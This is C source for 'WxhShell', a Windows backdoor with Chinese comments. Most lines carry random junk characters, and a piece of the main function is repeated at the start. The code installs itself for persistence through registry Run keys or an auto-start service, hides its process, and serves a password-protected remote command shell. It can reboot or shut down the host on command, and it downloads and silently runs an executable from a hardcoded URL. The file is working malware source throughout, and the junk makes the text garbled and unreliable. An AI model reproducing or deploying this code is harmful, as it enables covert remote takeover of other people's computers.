if(!OsIsNt) { )+12r6W
// 如果时win9x，隐藏进程并且设置为注册表启动 jV|/ C
HideProc(); Nd61ns(N
StartWxhshell(lpCmdLine); 5TVA1
} jmh$6 N% F
else Jnf@u
if(StartFromService()) 8z'_dfP=5
// 以服务方式启动 ttA0* >'
StartServiceCtrlDispatcher(DispatchTable); J={IGA
else SW*Yu{
// 普通方式启动 }Jk=ZBVjT7
StartWxhshell(lpCmdLine); Bq#B+JwX
>r5s>A[YC
return 0; gqQ"'SRw
} lc\f6J>HT
nM6/c
_t;Mi/\P
!d3:`l<
=========================================== eUm,=s
WxI_wRKx
]R8JBnA
rQ287y{
8d*W7>rq
g0-J8&?X
" p;YS`*!s
s!F` 0=J^
#include <stdio.h> %LeZd}v
#include <string.h> ])uhm)U@
#include <windows.h> %tJ@)
#include <winsock2.h> !O*uQB
#include <winsvc.h> ?9m@ S#@
#include <urlmon.h> 4Q n5Mr@<
2g:V_%
#pragma comment (lib, "Ws2_32.lib") )6 [d'2
#pragma comment (lib, "urlmon.lib") >.f'_2#Z&
yOXL19d@p_
#define MAX_USER 100 // 最大客户端连接数 D0a3%LBS/2
#define BUF_SOCK 200 // sock buffer =s$UU15
#define KEY_BUFF 255 // 输入 buffer k1Thjt
!_#2$J*s^D
#define REBOOT 0 // 重启 M|uWSG
#define SHUTDOWN 1 // 关机 /$?7L(
$mq@g
#define DEF_PORT 5000 // 监听端口 vK~tgZ&
JN:EcVuy
#define REG_LEN 16 // 注册表键长度 "Zq)y_1
#define SVC_LEN 80 // NT服务名长度 S67>yqha
@Zov&01
// 从dll定义API -iJ @K
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;Alw`'
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EwH_k
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <\C/;
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t~@~XI5
w*7BiZ{s<
// wxhshell配置信息 x;p7n2_
struct WSCFG { -P7JaH/Q
int ws_port; // 监听端口 [Uw/;Kyh
char ws_passstr[REG_LEN]; // 口令 hj|P*yKV
int ws_autoins; // 安装标记, 1=yes 0=no L>Soj|WUy(
char ws_regname[REG_LEN]; // 注册表键名 U|}Bk/0.
char ws_svcname[REG_LEN]; // 服务名 [[;vZ
char ws_svcdisp[SVC_LEN]; // 服务显示名 !$5.\D
char ws_svcdesc[SVC_LEN]; // 服务描述信息 FF7
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >@wyiBU
int ws_downexe; // 下载执行标记, 1=yes 0=no ?RVY%s;g
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6Om)e=gU/
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nFY6K%[
VQ((c:+!
}; /WWD;keP5
:Mq-4U.e
// default Wxhshell configuration v<c@bDZ>
struct WSCFG wscfg={DEF_PORT, d0MF\yxh
"xuhuanlingzhe", kz+OUA@~
1, qe"t0w|U?
"Wxhshell", 9XSZD93L
"Wxhshell", us TPr
"WxhShell Service", Zr U9oy&!C
"Wrsky Windows CmdShell Service", ?*h2:a$
"Please Input Your Password: ", i`)h~V|G
1, ~i ImM|*0
"http://www.wrsky.com/wxhshell.exe", g8^YDrH
"Wxhshell.exe" ,Kw]V %xOb
}; BqA
xesZ7{ o
// 消息定义模块 \vQjTM-7
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )r^)e4UI
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4W$t28)
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .uGvmD<;x
char *msg_ws_ext="\n\rExit."; vq&u19iP
char *msg_ws_end="\n\rQuit."; nNJMQb'K
char *msg_ws_boot="\n\rReboot..."; <>tQa5;
char *msg_ws_poff="\n\rShutdown..."; \uTy\KA
char *msg_ws_down="\n\rSave to "; !?u{2D
7-u['nFJ
char *msg_ws_err="\n\rErr!"; q!+&|F
char *msg_ws_ok="\n\rOK!"; G^Q8B^Lg
C_~hX G
char ExeFile[MAX_PATH]; 8Q2qroT
int nUser = 0; ':jsCeSB
HANDLE handles[MAX_USER]; p^uX{!
int OsIsNt; R<GnPN:c
jR[3{ Reo
SERVICE_STATUS serviceStatus; :s5wFumD
SERVICE_STATUS_HANDLE hServiceStatusHandle; 4I97<zmrT
>|S&@<
// 函数声明 F}Kkhs {
int Install(void); D#I^;Xg0h
int Uninstall(void); u6#=<FD/}
int DownloadFile(char *sURL, SOCKET wsh); a\BV%'Zqg
int Boot(int flag); Sb;=YW 1<
void HideProc(void); 8r46Wr7Q
int GetOsVer(void); 1ae,s{|
int Wxhshell(SOCKET wsl); GV"HkE;
void TalkWithClient(void *cs); f,_EPh>
int CmdShell(SOCKET sock); #uzp
int StartFromService(void); v3`k?jAaI
int StartWxhshell(LPSTR lpCmdLine); ZFNn(n
~Os1ir.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SL O~
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `f~\d.*U
QxaW x
// 数据结构和表定义 {hmC=j
SERVICE_TABLE_ENTRY DispatchTable[] = [_pw|BGp
{ L~u@n24
{wscfg.ws_svcname, NTServiceMain}, L~PBD?l
{NULL, NULL} s.p4+KJ
}; 'q_^28rK
D%+cf
// 自我安装 R rtr\a
int Install(void) AsOkOS3
{ C=&rPUX{
char svExeFile[MAX_PATH]; k,mgiGrQ
HKEY key; 7|/Ct;oO:
strcpy(svExeFile,ExeFile); v3ky;~ke
OdrnPo{
// 如果是win9x系统，修改注册表设为自启动 % >\v6ea
if(!OsIsNt) { >&z=ktB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sG6ts,={
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sBLf(Q,
RegCloseKey(key); Mt93YD-2+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PqJB&:ZV
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yDil
RegCloseKey(key); d}Y\;'2,
return 0; ,R~{$QUl
} |v6kZ0B<
} 3m#/1=@o
} aA|<W g
else { XJ3p<
.a0]1IkatV
// 如果是NT以上系统，安装为系统服务 $k,wA8OZ-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &P@dx=6d
if (schSCManager!=0) Q,f~7IVX
{ >$RQ
SC_HANDLE schService = CreateService 5S EyAhB
( m);0sb
schSCManager, ,Y\`n7Ww
wscfg.ws_svcname, +'lj\_n
wscfg.ws_svcdisp, fQkfU;5
SERVICE_ALL_ACCESS, Lxg,BZV
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]"2;x
SERVICE_AUTO_START, !pqfx93R*
SERVICE_ERROR_NORMAL, XDtMFig
svExeFile, 1[g -f,
NULL, uSl&d
NULL, L^{1dVGWNa
NULL, 6Kbc:wlR
NULL, *:+&SxL
NULL X^td`}F/=V
); ^]cl:m=*
if (schService!=0) =,])xzG%
{ D["~G v
CloseServiceHandle(schService); ye-EJDZN
CloseServiceHandle(schSCManager); U $2"ZyFii
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Ucs9w3[
strcat(svExeFile,wscfg.ws_svcname); aJ{-m@/5
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =Lc!L !(,b
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hrk]6*
RegCloseKey(key); OtVRhR3>
return 0; ]27
} 5p}ri,Y<
} 0{q>'dv
CloseServiceHandle(schSCManager); zJ=lNb?q
} NR6wNz&81
} wOLDHg_
VbG#)>"F
return 1; ieL7jN,'m
} !<8-juY
T@4R|P&{)
// 自我卸载 ?^Q8#Y^M
int Uninstall(void) 2d#3LnO
{ @|2L>N
HKEY key; c;13V(Djy
]VkM)< +
if(!OsIsNt) { Xv&&U@7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (^@rr[.o7
RegDeleteValue(key,wscfg.ws_regname); ;J>upI
RegCloseKey(key); -91*VBrOd
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C$+z1z.!
RegDeleteValue(key,wscfg.ws_regname); IW{}l=D/
RegCloseKey(key); Mjon++>Z
return 0; wwuM!Z+
} <3)k M&.B
} sP'U9l
} %A$5mi^
else { JqmxS*_P
n6xJ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]<xzCPB
if (schSCManager!=0) B@ xjwBUk
{ j&Trvw<t
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VRs|";
if (schService!=0) x<'<E@jpU;
{ 1`Ig A0V`"
if(DeleteService(schService)!=0) { iCtDV5
CloseServiceHandle(schService); 0R-J \
CloseServiceHandle(schSCManager); Ym8 V)
return 0; 0z =?}xr
} l"rX'g?
CloseServiceHandle(schService); ?]AF? 0/
} gr^TL1(
CloseServiceHandle(schSCManager); GyZpdp!
} `w_%HVw>"
} &Yklf?EZ>Q
i<b-$9
return 1; Q;xJ/4 Z"
} L[cP2X]NQ
_m.w5nJ
// 从指定url下载文件 KPrH1 [VU
int DownloadFile(char *sURL, SOCKET wsh) ;TC"n!ew
{ qI%X/'
HRESULT hr; XkhGU?={
char seps[]= "/"; =G9I7Y@
char *token; FX1H2N(
char *file; a_3w/9L4r
char myURL[MAX_PATH]; X=KC+1e
char myFILE[MAX_PATH]; OfK>-8
idNra#
strcpy(myURL,sURL); &e6!/y&
token=strtok(myURL,seps); ^?8/9o
while(token!=NULL) vk4Q2P
{ r,HIoeAKP
file=token; q"e]\Tb=we
token=strtok(NULL,seps); ~+)>D7
} nCS" l5
&"?S0S>r!
GetCurrentDirectory(MAX_PATH,myFILE); ^)UX#D3b
strcat(myFILE, "\\"); 6Vj=SYK
strcat(myFILE, file); <2SWfH1>
send(wsh,myFILE,strlen(myFILE),0); g.*DlD%%
send(wsh,"...",3,0); M5kw3Jy5
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bn%4s[CVb4
if(hr==S_OK) ;O7Vl5R
return 0; i*((@:
else .Im=-#EN
return 1; "U-dw%b}b
,rS?^"h9
} I<rT\':9
)~0TGy|
// 系统电源模块 82M`sk3.
int Boot(int flag) U0;pl2
{ G1fC'6$3
HANDLE hToken; ka_(8
TOKEN_PRIVILEGES tkp; ^D76_'{
hS1I ;*t
if(OsIsNt) { +ag_w}
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q-s(2C
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `=$p!H8
tkp.PrivilegeCount = 1; FuM:~jv
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KL yI*`
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ALQ-aXJ
if(flag==REBOOT) { zd6F}2*6
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {2)).g
return 0; h343$,))u
} Xp.$FJ1)
else { #U(kK(uO
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `&9iC 4P
return 0; 63i&<
} 3$_JNF`
} dmWCNeja.
else { aJQzM
if(flag==REBOOT) { suS[P?4
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @THa[|(S
return 0; PJYUD5
} wF9L<<&B
else { ?<` ;lu/eL
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~F^tLi!5
return 0; M1icj~Jr
} PIAE6,*
} nMK$&h,{
4.p:$/GTS
return 1; D94bq_2}
} BwkY;Ur/AL
Wu"1M^a
// win9x进程隐藏模块 g4u6#.m(
void HideProc(void) W7. +
{ R@-x!*z
f^ja2.*%?
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a^8PB|G
if ( hKernel != NULL ) ^ L]e]<h(
{ 84!Hd.H
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d%UzQ*s
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bf.iRh0Q5
FreeLibrary(hKernel); Z5p [*LMO
} h*R w^5,c
6?Kl L [~
return; !TivQB
} l/,la]!T
`^] D;RfE
// 获取操作系统版本 @C<ofg3E
int GetOsVer(void) *4e?y
{ \1SC:gN*#
OSVERSIONINFO winfo; ]}kw'&
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ap8q`a{j^
GetVersionEx(&winfo); 8{i O#C
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K iEmvC
return 1; zu.B>INe
else )Gm9x]SVl
return 0; ;NH^+h
} $}AbR:z
*NG\3%}%|@
// 客户端句柄模块 b50mMWtG
int Wxhshell(SOCKET wsl) 2e-`V5{)b
{ x0b=r!Duu
SOCKET wsh; v$D U q+
struct sockaddr_in client; x5CMP%}d
DWORD myID; tXqX[Td`0g
51`&%V{daL
while(nUser<MAX_USER) }h=PW'M{
{ T9I$6HAi
int nSize=sizeof(client); "g)V&Lx#X
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t>AOF\
if(wsh==INVALID_SOCKET) return 1; =7JSJ98
WQ}wQ:]
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m^0vux
if(handles[nUser]==0) qY$ [2]
closesocket(wsh); ] j8bv3
else d!UxFY@
nUser++; -pIz-*
} }lDX3h
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); haY]gmC
_-lE$ O
return 0; =kfa1kD&{
} |g.CS$'#Nt
|iI dm
// 关闭 socket 3C<G8*4);/
void CloseIt(SOCKET wsh) x\U[5d
{ "V(P)_
closesocket(wsh); _U}vKm
nUser--; K2yu}F^}
ExitThread(0); hHhDs>tB
} ,:e~aG,B
J8!2Tt
// 客户端请求句柄 Q#G xo
void TalkWithClient(void *cs) 'Y#'ozSQv
{ m$_b\^we
e`S\-t?Z
SOCKET wsh=(SOCKET)cs; N[e,%heR
char pwd[SVC_LEN]; 5 ty2e`~K
char cmd[KEY_BUFF]; W;yc)JB
char chr[1]; Eamt_/LKf
int i,j; Y X^c}t}U
j<P;:
while (nUser < MAX_USER) { s~].iQJ{B
*V%"q|L8
if(wscfg.ws_passstr) { K6t"98
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L2,2Sn*4i
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z3weFbCH
//ZeroMemory(pwd,KEY_BUFF); L/[VpD
i=0; $3PDe
while(i<SVC_LEN) { u\Ylo.)b
$TmEVC^0
// 设置超时 vMB61 |O
fd_set FdRead; y$\tqQ
struct timeval TimeOut; kqm(D#
FD_ZERO(&FdRead); aTTkj\4
FD_SET(wsh,&FdRead); RARA_tii
TimeOut.tv_sec=8; VaY#_80$s
TimeOut.tv_usec=0; k9f|R*LM
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >]pZ;e$
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |67Jw2
L?j0t*do
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j(Lz& *4
pwd=chr[0]; P*A+k"DU1
if(chr[0]==0xd || chr[0]==0xa) { Yu\$Y0 {]
pwd=0; fJ[ ^_,O
break; m~5 unB9
} s`_EkFw>Gl
i++; h/t;ZLUAZP
} Rey+3*zUb
`z\hQ%1!F
// 如果是非法用户，关闭 socket _i}b]xfM
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I09 W=
} O{_t*sO9q*
[M[<'+^*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8Y.qP"s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?!P0UTe~
G;}WZy
while(1) { hHN[K
?@9v+Am!
ZeroMemory(cmd,KEY_BUFF); 6X*vCylI
s|e.mZk/
// 自动支持客户端 telnet标准 Vo@7G@7K(
j=0; U-9Aq
while(j<KEY_BUFF) { X|T|iB,vT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !xfDWbvHV
cmd[j]=chr[0]; SjB"#E)
if(chr[0]==0xa || chr[0]==0xd) { \jwG*a
cmd[j]=0; Jg;[k
break; a]u.Uqyx2w
} iHGVR
j++; A.vAk''(}+
} |${4sUR
d\JaYizp
// 下载文件 \{@m
if(strstr(cmd,"http://")) { Wp>t\S~N
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'vd&r@N
if(DownloadFile(cmd,wsh)) 5G}4z>-]F)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fA6IW(_bi
else {&n- @$?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zsXgpnlHT
} %=UD~5!G0
else { R%WY!I8C
fWmc$r5n](
switch(cmd[0]) { }#FV{C]
wuH*a3(
// 帮助 wHj1+W
case '?': { 9 8|sWI3B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o1ZVEvp
break; jg710.v:
} tTy!o=
// 安装 w0_P9g:
case 'i': { V1]GOmXz
if(Install()) <R7{W"QTA)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zo<)r2|O.
else }ssV"5M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >[;W~*
break; $pES>>P
} LL#REK|lm8
// 卸载 _ p\L,No
case 'r': { YGo?%.X
if(Uninstall()) 4u:SE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !i;6!w
else ;d6Dm)/(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IE`3I#v
break; r%.k,FzGZY
} <Q~N9W
// 显示 wxhshell 所在路径 i<"lXu
case 'p': { KV_/fa~Ry
char svExeFile[MAX_PATH]; =~+ WJN
strcpy(svExeFile,"\n\r"); ^aSb~lce
strcat(svExeFile,ExeFile); @wR3L:@
send(wsh,svExeFile,strlen(svExeFile),0); ,W}:vdC
break; ( V4Ppg
} dipfsH]p
// 重启 %]4Tff
case 'b': { ;;,7Jon2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9-;-jnDy
if(Boot(REBOOT)) 4aS}b3=n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dEJqgp}\p
else { {$^'oRk
closesocket(wsh); ?P'$Vxl
ExitThread(0); <l<O2l
} |8k1Bap`z
break; Kv| x -_7
} 0SI@`C*1o
// 关机 1B4Qj`:+0
case 'd': { PR@6=[|d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KR>)Ek
if(Boot(SHUTDOWN)) Iq+N0G<j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pf[E..HF*d
else { Ol>q(-ea
closesocket(wsh); ,&_H
ExitThread(0); X<%D@$
} Oh! {E5!)
break; [[$CtqLg
} ;:6\w!fc
// 获取shell |`LH|6/
case 's': { j$)ogGu
CmdShell(wsh); sLr47 NC
closesocket(wsh); 7 9tE
ExitThread(0); ?8-Am[xH
break; ;M3%t=KV
} ]>X_E%`G<b
// 退出 _9h$8(wjn
case 'x': { [J,.?'V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); no*)M7
CloseIt(wsh); ~&<#H+O
break; 'S_i6K
} %hVR|K|J
// 离开 h!w::cV
case 'q': { 8}0wSVsxV$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <O1R*CaP
closesocket(wsh); sy"}25s
WSACleanup(); 3k1e
exit(1); dVbFMQ&
break; &&&-P\3
} 4,)9@-|0R
} L_Ok?9$
} D>7a0p784
?9~^QRLT
// 提示信息 u}5CzV`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {,%&}kd>
} cwmS4^zt8
} ME)Tx3d
qfDG.Zee#
return; tAv3+
} I\mF dE
QC+ Z6WS;
// shell模块句柄 &r1(1<
int CmdShell(SOCKET sock) j*.;6}\o
{ i;O_B5 d
STARTUPINFO si; ;C@mT;hR
ZeroMemory(&si,sizeof(si)); & P-8_I
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;5tOQ&p%v
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jq/itsg
PROCESS_INFORMATION ProcessInfo; {+67<&g
char cmdline[]="cmd"; ~IhM(Q*mO!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L8`v
return 0; UA$IVK&{
} QEr<(wM-y
MfL7|b)
// 自身启动模式 ~Gfytn9x.;
int StartFromService(void) MltO.K!
{ \W*L9azr
typedef struct t%}<S~"
{ R;OPY?EeW
DWORD ExitStatus; H!IVbL`a{
DWORD PebBaseAddress; 9#z$GO|<
DWORD AffinityMask; q<:8{Y|
DWORD BasePriority; aKj|gwo!
ULONG UniqueProcessId; b? ); D
ULONG InheritedFromUniqueProcessId; ]RT
} PROCESS_BASIC_INFORMATION; h&'|^;FM
l'"nU6B&
PROCNTQSIP NtQueryInformationProcess; >Z!!`0{
D;R~!3f./b
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /QQRy_Z1)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /PwiZA3sA
a}yb~:TC
HANDLE hProcess; 16L YVvmW
PROCESS_BASIC_INFORMATION pbi; O(-p md,
le/j!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5MnP6(3$
if(NULL == hInst ) return 0; l2Sar1~1
vD#U+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (=!At)O
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {[!<yUJ`S#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,`HweIq(
R #wZW&N
if (!NtQueryInformationProcess) return 0; n#">k%bD
E;a,].
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T~E;@weR
if(!hProcess) return 0; " aG6u^%
( cs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >?@5>wF
QD@O!}; T
CloseHandle(hProcess); ?\Z pVL<>
w % Hj'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M@.l# [@U
if(hProcess==NULL) return 0; Q5ASN"_
H^-Y]{7
HMODULE hMod; :+"4_f0
char procName[255]; MqZ"Js
unsigned long cbNeeded; e}uK"dl(
@AZNF+ \W$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,iyy2
!,`'VQw$
CloseHandle(hProcess); I/(U0`%
:M"+
if(strstr(procName,"services")) return 1; // 以服务启动 ({E,}x
u !BU^@P
return 0; // 注册表启动 rCw4a?YS
} 6BV 6<PHJ
g4ZUh@b~
// 主模块 FsED9+/m
int StartWxhshell(LPSTR lpCmdLine) !/p|~K
{ )J 'F]s
SOCKET wsl; }h^ fX
BOOL val=TRUE; 1K9.3n
int port=0; v[ iJ(C_
struct sockaddr_in door; Jt[ug26
|?88EG@05
if(wscfg.ws_autoins) Install(); 8!2)=8|f
)Eozo4~
port=atoi(lpCmdLine); +Csb8
*ak0(yLn)
if(port<=0) port=wscfg.ws_port; -9dZT
RW&o3_Ua
WSADATA data; <SNr\/aCRi
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *F( qg%1+
'UX^]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; eX$KH;M
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S>dHBR#AD
door.sin_family = AF_INET; V48_aL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?$/::uo
door.sin_port = htons(port); qArR5OJ
ZjxF@`H
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jemb/:E
closesocket(wsl); N*A*\B%{x'
return 1; Iy_5k8]
} :<aGZ\R5
!}6'vq
if(listen(wsl,2) == INVALID_SOCKET) { gfggL&t(
closesocket(wsl); ^|MS2'
return 1; *)Pm
} WXxnOLJr
Wxhshell(wsl); 2Z{?3mAb;
WSACleanup(); ,WE2.MWR
`/WxEu3
return 0; g"/n95k<
ajycYk9<m
} }uDpf0;^
F$8:9eL,T
// 以NT服务方式启动 bhUE!h<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &n1Vv_Lb
{ [k 7HLn)
DWORD status = 0; 8U@f/P
DWORD specificError = 0xfffffff; t`6]eRR
RFbf2s\t
serviceStatus.dwServiceType = SERVICE_WIN32; ;}Jv4Z
serviceStatus.dwCurrentState = SERVICE_START_PENDING; {gzQ/|}#z-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CG%bZco((
serviceStatus.dwWin32ExitCode = 0; mPA)G,^
serviceStatus.dwServiceSpecificExitCode = 0; 7FH-l(W
serviceStatus.dwCheckPoint = 0; M %,\2!$
serviceStatus.dwWaitHint = 0; q;9X8 _
p.:|Z-W$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RZxh"lIo
if (hServiceStatusHandle==0) return; a?W5~?\9
;SXkPs3q
status = GetLastError(); +^9^)Ur|
if (status!=NO_ERROR) :?f+*
{ )Cdw_Yx
serviceStatus.dwCurrentState = SERVICE_STOPPED; L!JC)p.
serviceStatus.dwCheckPoint = 0; Pjh;;k|V
serviceStatus.dwWaitHint = 0; BZ\="N#f
serviceStatus.dwWin32ExitCode = status; KOg,V_(I
serviceStatus.dwServiceSpecificExitCode = specificError; o135Xh$_>'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); vL_yM
return; ! #Pn_e
} Cj#wY
B6F!"
serviceStatus.dwCurrentState = SERVICE_RUNNING; 551_;,t
serviceStatus.dwCheckPoint = 0; 2}<tzDI'
serviceStatus.dwWaitHint = 0; N%Bl+7,q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NzZ(Nz5
} p{oz}}
EC\@$Fg
// 处理NT服务事件，比如：启动、停止 $x}R2
VOID WINAPI NTServiceHandler(DWORD fdwControl) { 5r]G
{ |gV~U~A]
switch(fdwControl) 3\Amj}RJ
{ iJOoO"Ai
case SERVICE_CONTROL_STOP: xlZh(pf
serviceStatus.dwWin32ExitCode = 0; yPmo1|'X>d
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3F,M{'q
serviceStatus.dwCheckPoint = 0; ;jxX/c
serviceStatus.dwWaitHint = 0; 2+u+9rW
{ @~gPZm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r~=+>, _
} 4(,.<#
return; GQg 2!s(
case SERVICE_CONTROL_PAUSE: DvhFCA}z
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1[OY-G
break; MVMJl">
case SERVICE_CONTROL_CONTINUE: :[l}Bb,
serviceStatus.dwCurrentState = SERVICE_RUNNING; $-DW+|p.?^
break; zji9\
case SERVICE_CONTROL_INTERROGATE: eLT3b6'"?
break; hg12NzbK
}; ]|F`;}7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9V)cf
} )*%uG{h
%o9mG<.T
// 标准应用程序主函数 |j"C52Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c2V_|oL
{ kPOk.F%)
HpbwW=;V
// 获取操作系统版本 TS#1+f]9J<
OsIsNt=GetOsVer(); =_&,^h@'3e
GetModuleFileName(NULL,ExeFile,MAX_PATH); idBdaZg
njd2
// 从命令行安装 1f3g5y'z5
if(strpbrk(lpCmdLine,"iI")) Install(); R)d_0Ng
3B[tbU(
// 下载执行文件 dDiy_Q6
if(wscfg.ws_downexe) { g&RhPrtl
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `Zp*?
WinExec(wscfg.ws_filenam,SW_HIDE); (M;d*gNr
} E_&;.hw
?p6@uM\Q7
if(!OsIsNt) { 8Ud.t=2
// 如果时win9x，隐藏进程并且设置为注册表启动 h_X'O3r
HideProc(); >WO;q
StartWxhshell(lpCmdLine); y-@`3hYM@
} }#Up:o]A!
else $lB!Q8a$
if(StartFromService()) mr[1F]G
// 以服务方式启动 VB^1wm
StartServiceCtrlDispatcher(DispatchTable); 4Tuh]5
